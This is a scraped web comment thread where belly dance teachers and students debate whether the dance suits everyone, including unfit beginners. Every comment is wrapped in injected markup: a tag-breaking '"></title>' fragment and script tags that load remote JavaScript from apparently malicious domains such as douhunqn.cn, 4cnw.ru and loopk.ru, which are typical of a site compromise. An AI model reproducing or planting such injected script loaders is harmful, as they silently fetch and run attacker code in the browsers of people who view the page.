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| Title |
Is Bellydance Truly for Everyo |
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| Contributor |
Barbara |
Is Bellydance Truly for Everyo |
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| Comments |
| Susan |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I truly think you are missing the point. If you only want to teach 'dancers' I think your income derived from dance lessons will dramatically decline, most probably to next to nothing. And if your focus is only on dancers, then that should be fine.
Most of the people I know tried bellydancing because it was advertised as fun and for everyone. The ones who are still in classes as I am five years later are the ones who discovered that, although buried deep within us, there really is a dancer in everyone. Does that mean that every person who takes classes could or should perform? Absolutely not. But this dance does give joy to the doers, even the ones who may have that grim look of concentration on their faces. They are giving themselves permission to be challenged by a dance form very different than anything else in the world -- and if you allow them the opportunity to actually "get" those basic moves, imagine their joy. I am sure you didn't begin bellydance classes already knowing the moves, nor did you probably begin classes with the expectation of performing and teaching as a goal right off.
This is a folk dance...meaning it's a dance normal folks can and DO do. The challenge for us Western folks is thinking outside the Western box of the types of moves our bodies SHOULD do versus what they CAN do to express joy.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Rhiannon |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I believe that bellydance is for everyone, precisely because it is a folk dance. It is a dance for all shapes and sizes, unlike other dances, like ballet, where the dancer has to be a certain height, weight and shape in order to perform the moves of the dance. Bellydance is also for everyone because, while there are basic moves, it's a dance that allows for a lot of self-expression and creativity. Other dances you have to make each move in a "just so" manner or it isn't how that particular dance is supposed to be performed. However, not everyone who bellydances has any desire to dance professionally. That doesn't make it invalid for a person to want to bellydance. Some people are perfectly happy dancing in their living rooms. And just because someone takes classes doesn't mean that they are going to stick with dancing. People begin and end hobbies all the time. I believe that anyone who goes to bellydance classes should be treated as a dancer with potential, whether or not they become a professional is up to them. And each one should be allowed to find the joy of dancing within themselves, because bellydance is a dance of joy.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Elham |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Dear Barbarah,
you've exactly mentioned the problem which we all have now and then in our classes. Almost always after a public performance, I get new students which don't show any enthusiasm for the dance. They're locked and stiff and are not eager to loosen themselves. I guess that the majority comes to the class to spend an hour in a feminine atmosphere to chat and to get satisfied because they've done some physical exercises. They don't want to be corrected, don't want to stop chewing gum during the course and don't know any form of discipline. Well, you know if you close the door of your studio to them, as Susan mentiones, you'll have no income. So I offer a general class for those who don't try to learn and to have fun and pick up those who really want to dance and to learn more and send them to my specific classes, in them we spend a lot of time analysing the movements, the isolation and so on. I think this subject deserves more discussion and I hope that other experienced teachers will participate in this discussion. thank you for mentioning it.
Love
Elham<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Barbara |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Hi,
I want to thank those who responded to my thoughts on " Is belly dance for everyone?". I know it is a long article - maybe too long.
One of my questions was " What basics can we as teachers, teach the very beginning students who are not very fit?
What is the Beginning of belly dance class, the first position of belly dance - especially for the " out of shape student population? ".
I am geuinely asking because at times I wonder where to start with less than basic students.I am not being critical of anyone, I welcome everyone who comes to my class but I wonder how other teachers, teach very basic unfit beginners
Some times I have everyone begin the class by simply walking on the beat( very hard for some), around the room, in self motivated directions - feeling their feet, toes, space,hips, gluts, posture, freedom of space etc etc and then we come back to center and stretch etc etc...........Maybe my answer is that I should go back to ballet first and then switch to belly dance movements when everyone is lined up with good posture
I hope other teachers post their thoughts
Thanks again Barbara www.thedancingspirit.com<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Tasnim |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I agree with many of the things you say. This is a very valid topic. I have a friend (from Italy,) who is here living in NY, who was a former ballet student there, and has recently been bitten by the belly dance bug. She admitted to me that belly dance has no standard, which she finds frustrating. It seems as if a beginner student cannot progress in certain areas because there are always new students and there is always a new move introduced in each class. She said almost the identical thing, that in ballet, no one moves to another level until they learned 1st position. What is belly dances first position? The posture, the walk, the hip circle, head slides, figure 8, etc? We ourselves don’t know. At Serena’s there are the basic body positions (Pelvic tilt, shoulder tilt, hip extension and hip contraction) the posture, undulations (or camels), hips circles, figure eights, graceful hand movements and simple traveling steps. Should these be our standards?
Honestly if I had not been introduced to belly dance in a gym (not a dance studio) I may have never discovered it. It is far from easy. (Although my students have told me I make it look easy because of the sheer joy I have when I dance it). It is challenging. When I started and my forehead was riddled with lines when I couldn’t isolate my ribs from my hips when doing a ribcage circle, I wasn’t thinking fun or for everyone (and I teach fitness for a living!!!) If we continue to say that belly dance is fun, will it ever earn respect in the dance community as the beautiful and complex dance that it is? It is very complex. Everyone who has ever shimmied throughout a kanoun solo knows how layered and complex it is. Knowing the rhythms and the movements that go best with them, knowing how to use cymbals, veils, balancing etc is all very challenging. I have been saying lately, that from a layman’s eye it looks very easy and fun, but it is complex and challenging, but that it wonderful when you finally overcome the isolations and that it is very satisfying, powerful and feminine dance.
It is a folk dance true, but I have had women from Morocco, Egypt, Greece and Turkey in my class and have been very surprised at how challenging the dance is when broken down. What a dancer from these areas dances with her pals at a party is very different from the professional belly dance. Very few were able to get many of the moves down, but some came easily, but many had most difficulty when the music was slow.
In order to get dance world to respect our art, we should start to have this conversation. We should have a dialogue about this more often. Thanks for bringing up this discussion.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Lara L |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Barbara, Your comments are always thoughtful, but I have to interject- is there not room enough for both the casual dancer and the more dedicated? Belly Dance is not unique. You mention Ballet- I have been in ballet classes also made up of older women with no real desire for serious performance, certainly not great mastery or a career as a dancer. If a person's chosen life path is not strictly that of a "dancer" as you define dancer here, if they only come for a bit of extra excercise and socialization, does that make their experience of the dance any less valid? If nothing else, you are educating your audience. An audience is better able to connect with a performance if there is some understanding of what the dance involves. When I teach beginers, it is always exciting for me. Even if we have to start from getting muscles loose enough to simply walk, there is something marvelous about bringing people to this dance. If you choose to be and to teach only a dancer's dancer, fine, we need that role filled as well, but I hardly think looking down on those who are recreational dancers serves our community, and I find looking at recreational dancers simply as a way to a paycheck downright offensive. I may be a serious dancer, but I am a recreational drummer, seamstress, songwriter, knitter, astronomer, etc. and as such have always been treated with respect and encouragement from the corresponding communities. I hope we treat recreational dancers with the same honor, and rejoice that they, too, are begining to understand what is our passion.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| radgalut |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I had to comment of this article. Three years ago I was the women in your class. I am a large women, who has been convinced for most of my life that I am uncoordinated and am definitely not graceful. I started taking class and the studio where I dance requires that you take a year of beginning class before you are considered for the performing troupes. I diligently attended class for a year and slowly developed rhythm, and grace. After the first year I fully intended to take another year of beginning class from one of the other teachers but after talking with fellow class members and the instructors I decided to join the new cabaret-performing troupe. I am still a clutz and my teacher has to break things down for me so I can master each piece, feet, arms, hands ect, but for me learning a routine, and performing has taught me that I am a graceful women, and I am complimented every time I perform. I have also been asked when I will Solo but I do not feel that I am ready for that step. While I have performed in public, I will never be a professional although several of the women I dance with perform at local restaurants on a regular basis. I also have become a huge fan of belly dancing and frequently watch other dancers. After taking class I know how hard it is to do and I think it has made me a better audience member. Personally I do think belly dancing is for everyone, and I know that it has changed my life. I am proud to say that I am a Belly Dancer.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Poisonbelly |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I split my class in half. I target one half of the class with very basic technique, weight shift exercises, and arm movements. I KNOW they are there for fun and fitness, and have no plans (as of yet, but I'll change their minds if I can) of ever performing. I always encourage beginners because you NEVER know who you are gonna get. I just got a newb who is a NATURAL, and I can't wait for her to perform. The other half of the class is more advanced, or at least has intentions of performing. I give them more advanced combos and isolations, but ultimately I spend A LOT OF time walking the room back and forth. Totally worth it if I can please not only the hard-core dancers but also the ones there who look timid at first. I have found the most incredible joy watching my beginner "non-dancers" bust out with totally graceful moves after an "ah-ha" moment that I never expected. You just never know. Wow, I love this dance!<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Serenity |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I am a beginning student myself, and perhaps that was me, the no-previous-dance-experience student, a few months ago. I grew up in a household that was far from athletic or even fit. My parents were couch potatoes, and so is my brother. I did better for myself, taking PE classes in school, and occassionally taking classes in sports and tennis, and martial arts. I was also in ROTC before I joined bellydance, so I was definitely NOT un-physically fit (yay for running 4 miles at 0500 hours each day). But I definitely had NO dance experience and I felt so awkward those first few weeks. The movements did not come easily, and I could have sworn that I could see the teacher giving me side looks in the mirror. It seemed so much easier for everyone else. But I had been fascinated with bellydance, and as frusterating as it was at times that I couldn't do it as well as I wanted to, I still tried my darndest, and now the movements are coming to me. It's fun. I would love to perform, if I advance, but who knows, maybe I'll never ever been decent enough for that. But I know that I love bellydance, and just tonight my teacher complimented me on my undulations and posture. :) Which was an exhilarating feeling.
So please don't give up on those students! Is bellydance for everyone? Bellydance is for anyone who truly will try and put effort into learning the dance, who enjoys doing it, even if they don't always get it right. I also started taking ballet this past quarter, starting it a few days after I started bellydance, actually. I'm not the best student in the ballet class, either, but I also noticed something about ballet-- it didn't seem as joyful to me as bellydance. Technique, technique, technique, which though very useful, also lacked that energy and joy that I loved so much about bellydance. I try in ballet, but I find I try even harder in bellydance. Why? Because it's fun, because the teacher tells us it's about fun!
I guess I'm one of those people who believes that if you really want something, even if you're not naturally predisposed to it-- if you work your butt off, if you live and breath it, you can make it happen for you.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Shee |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I am so glad I ran across your article. As a child I watched my mom belly dance, as a young adult I took up the art of..well..exotic dance, now I feel like a flunky in dance.
I have always wanted to take up belly dance at our local health center, not for health reasons but to learn the dance. Now, 37 and a mother of 6, I just don't have the body to shake in a room full of strangers and mirrors.So when a co-worker asked if I would like to take private lessons with her, I jumped at the chance!
Excitement has quickly turned into dread for both uf us and after reading your article I think I have a better understanding of why.
We both thought we were doing good, the moves came easily and we looked like goddesses in training, or so we thought. Looking in the mirror I realised that my body just doesn't move like it used to. I look like a stick figure, and the harder I try the less I breath. My instructor can't get over how tense I am and that just seems to make things worse. I don't practice anymore, the excitement is gone. All I can think of is how mislead I was by how the moves felt. I FEEL LIKE A SEXY BELLY DANCER....... but I sure don't look like one.
After 2 months of class all I can hear is my instructor saying to me,"You know the move, so what's the problem?" She just happened to say this when I thought I was doing my best. My friend feels the same way, it feels so much different than how it looks.
I also have the least amount of curves, so their chest and hips are moving twice as far as mine. I do the exact same moves but it looks like I am only moving half as far, and I usually get scolded for it until i remind her about the size difference.
I haven't given up though, and I won't. I took the class to learn the art of belly dance and my instructor wants to teach the art. The "fun" and "everybody can do it" comes from the fitness center advertising. I am convinced that the two frustrated students were thinking they just needed to move, not move well.
I think there needs to be more empasis on classes teaching the art of dance, like ballet. The health benefits are just an added reward for working so hard at it.
I would be willing to bet that nobody has ever taken a step class to learn the art of getting from floor 1 to floor 2!<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Sheherazade |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Three years ago I started belly dance classes with 4 women, all of us beginners with absolutely no previous dance experience. All of us were disconnected from our bodies, belly roll challenged, and we danced like a bunch of uncoordinated moose on ice. Of those 4 women, I am the only one who has continued. I live in a very isolated area so finding an instructor was, and continues to be quite challenging. It is an hour drive each way for a one hour class WHEN there is an instructor. Everyone started out enthusiastic, felt like it was "fun", got totally into "the celebration of the Goddess" but of those 4 women, I am the only one who continued after the first year. We all felt completely awkward in the beginning, in fact it took me so long to catch on to doing a basic shimmy that I was sure I would have to write a book entitled "The Belly Dancer Who couldn't Shimmy"! The difference between the other women and myself is simply this; I had the willingness to WORK at it, go beyond the "fun" and discipline myself to do the work because I wanted so much to feel at ease within the dance that I had fallen in love with. I may sound like I'm judging here, but this is simply fact. One of the women would come to class dressed in coveralls and half heartedly work on moves, yet she loved to tell everyone "We're belly dancers!" Another of the women, though she loves the dance, wasn't willing to commit to the time it took to travel for lessons.
The reason I stayed and they didn't had nothing to do with the instructor. It had nothing to do with the classes being billed as "fun for anyone". Our instructor was sweet, kind and very patient. It simply had to do with my complete and utter gratitude for the way the dance is healing my spirit, restoring my self confidence and bringing an absolute joy to my life. It is like loving someone so deeply that you want to know everything about them and spend as much time as possible in their company. I fell head over heels in love with belly dance, they didn't. An instructor can only give out the seeds for that love, she can't plant the seeds or do the work of nurturing and fertilizing to make them grow in her students. I know women start belly dance classes for a variety of reasons. I know how stiff and embarrassed I felt at first and how hard it was not to compare myself to others and keep that voice at bay that wanted to tell me I would never get the moves, I would never be graceful. I would say that yes, belly dance IS for everyone. But, not everyone takes belly dance to heart. If you are an instructor with compassion and patience, those who connect will continue, and those who decide it is not a good fit in their lives will excuse themselves along the way. Had belly dance been advertised without the fun, and without the appeal to "everyone", chances are I would have been too intimidated to try it, and what an incredible loss that would have been in my life.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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